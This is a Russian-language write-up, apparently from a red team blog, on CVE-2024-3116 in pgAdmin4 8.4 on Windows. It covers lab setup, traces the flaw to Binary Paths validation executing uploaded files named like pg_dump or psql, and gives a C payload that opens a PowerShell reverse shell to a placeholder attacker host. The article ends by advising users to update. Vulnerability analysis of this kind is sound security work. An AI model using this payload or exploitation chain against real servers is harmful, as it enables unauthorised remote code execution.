pgAdmin4 CVE-2024-3116
22 апреля была зарегистрирована уязвимость CVE-2024-3116, получившая 7.4 баллов по CVSS. Эта уязвимость приводит к удаленному выполнению кода в серверной версии pgAdmin4 ≤ 8.4 на системах Windows.
pgAdmin4 - это графический инструмент, предназначенный для администрирования баз данных PostgreSQL. Он поддерживает работу в двух режимах - desktop и server.
Для эксплуатации этой уязвимости необходимо обладать валидными учетными данными.
Данная статья представлена исключительно в образовательных целях. Red Team сообщество "GISCYBERTEAM" не несёт ответственности за любые последствия ее использования третьими лицами.
Сегодня в данной статье мы подготовим стенд и разберем детали этой уязвимости.
Подготовка стенда
Для демонстрации уязвимости был использован pgAdmin4 версии 8.4.
Перед установкой необходимо установить python3 (желательно использовать версию 3.7), postgresql, nodejs и yarn.
Для начала необходимо скачать архив с этой версией с официального репозитория в GitHub по следующей ссылке.
После распаковки архива необходимо перейти в папку репозиторий и установить библиотеки для python:
pip install -r requirements.txt
Далее необходимо перейти в каталог web и установить фронтенд-компоненты:
yarn install yarn run bundle
После этого необходимо создать файл config_local.py со следующим содержимым:
from config import *
STORAGE_DIR = r'C:\Temp' # папка, куда будут сохраняться файлы, можно указать любую
# Debug mode
DEBUG = True
# App mode
SERVER_MODE = True
# Log
CONSOLE_LOG_LEVEL = DEBUG
FILE_LOG_LEVEL = DEBUG
DEFAULT_SERVER = '0.0.0.0' # можем указать адрес из любого интерфейса
UPGRADE_CHECK_ENABLED = True
# Use a different config DB for each server mode.
if SERVER_MODE == False:
SQLITE_PATH = os.path.join(
DATA_DIR,
'pgadmin4-desktop.db'
)
else:
SQLITE_PATH = os.path.join(
DATA_DIR,
'pgadmin4-server.db'
)Теперь остается запустить файл setup.py и создать нового пользователя:
python setup.py add-user --admin EMAIL PASSWORD
После этого можно запустить файл pgAdmin.py:
python pgAdmi4n.py
Теперь на порту 5050 должна быть доступна веб-версия:
Разбор уязвимости
pgAdmin4 позволяет загружать файлы в свое хранилище, уязвимость хранится именно здесь. Для этого необходимо залогиниться в веб-форме, перейти в вкладку Tools → Storage Manager:
После этого появится окно, где можно загрузить файл:
Если взглянуть на запрос для загрузки файла, мы можем увидеть по какому пути сохранился наш файл:
Этот файл должен появится в указанной директории на целевой машине:
Как это можно проэксплуатировать? В pgAdmin4 есть интересная возможность указать путь к утилитам для работы с postgres, например psql, pg_dump, pg_dumpall, pg_restore. Это можно сделать перейдя в раздел File → Preferences → Binary Paths:
Попробуем указать известную нам директорию из предыдущего запроса и нажмем на кнопку с галкой. Посмотрим на запрос:
Найдем в исходном коде функцию, отвечающую за обработку этого запроса:
Видим, что цикл пробегается по файлам в указанной директории и передает их далее в функцию get_binary_path_version. Эта функция выглядит следующим образом:
Сначала идет проверка, входит ли имя файла в массив UTILITIES_ARRAY, в случае истины запускается файл с флагом --version, а функция возвращает результат. Именно здесь кроется уязвимость, которую мы можем проэксплуатировать, загрузив в хранилище наш исполняемый файл с любым названием из массива UTILITIES_ARRAY.
В файле с константами можно увидеть из чего состоит этот массив: UTILITIES_ARRAY = ['pg_dump', 'pg_dumpall', 'pg_restore', 'psql']
Подготовка нагрузки
Для начала нам необходимо создать исполняемый файл с обратным шеллом. Сделать это можно либо с помощью msfvenom:
Либо руками скомпилировать C-файл через mingw:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]) {
if (argc > 1 && strcmp(argv[1], "--version") == 0) {
system("powershell -nop -c \"$client = New-Object System.Net.Sockets.TCPClient('<attacker-ip>',<port>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\"");
} else {
printf("Usage: %s --version\n", argv[0]);
}
return 0;
}После нажатия кнопки валидации этого бинаря в настройках, мы можем получить обратный шелл:
Подобная уязвимость не сработает на Linux, так как при загрузке файла в хранилище, он сохранится без прав на выполнение.
Заключение
Сегодня мы с вами рассмотрели уязвимость удаленного выполнения кода в pgAdmin4. При желании можно автоматизировать эксплуатацию, написав скрипт с аутентификацией, загрузкой файла и его валидацией.
Если вы используете pgAdmin4 в серверном моде, рекомендуется обновиться до последней версии, чтобы избежать возможной эксплуатации со стороны злоумышленников.